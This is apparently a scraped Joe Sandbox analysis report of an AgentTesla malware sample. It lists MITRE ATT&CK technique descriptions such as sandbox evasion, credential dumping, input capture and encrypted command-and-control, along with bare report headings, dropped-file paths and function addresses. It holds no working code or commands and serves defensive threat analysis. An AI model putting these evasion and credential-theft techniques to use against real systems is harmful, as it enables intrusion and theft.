Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 4munRyMrBm.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0v5czuty.3sr.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3v3szqea.fmp.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lswi5yq0.wwv.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uo1kv32u.wya.psm1

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Windows Analysis Report
4munRyMrBm.exe

Function 00007FF7C5BC2760 Relevance: 10.6, APIs: 7, Instructions: 120
COMMON

Function 00007FF7C5BB7D00 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 105
COMMON

Function 00007FF7C5C11544 Relevance: 3.2, APIs: 2, Instructions: 199
COMMONLIBRARYCODE

Function 00007FF7C5BC2320 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 96
COMMON

Function 00007FF7C5BBCCC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 90
memoryCOMMON

Function 00007FF7C5BB3200 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 82
sleepCOMMON

Function 00007FF7C5BBCF20 Relevance: 6.0, APIs: 4, Instructions: 26
threadCOMMON

Function 00007FF7C5BC2140 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
COMMON

Function 00007FF7C5BC899B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106
COMMON

Function 00007FF7C5BC29E0 Relevance: 4.5, APIs: 3, Instructions: 34
memoryCOMMON

Function 00007FF7C5BC29A0 Relevance: 2.5, APIs: 2, Instructions: 17
memoryCOMMON

Function 00007FF7C5C41B50 Relevance: 1.6, APIs: 1, Instructions: 84
COMMON

Function 00007FF7C5BB26B0 Relevance: 1.5, APIs: 1, Instructions: 39
COMMON

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre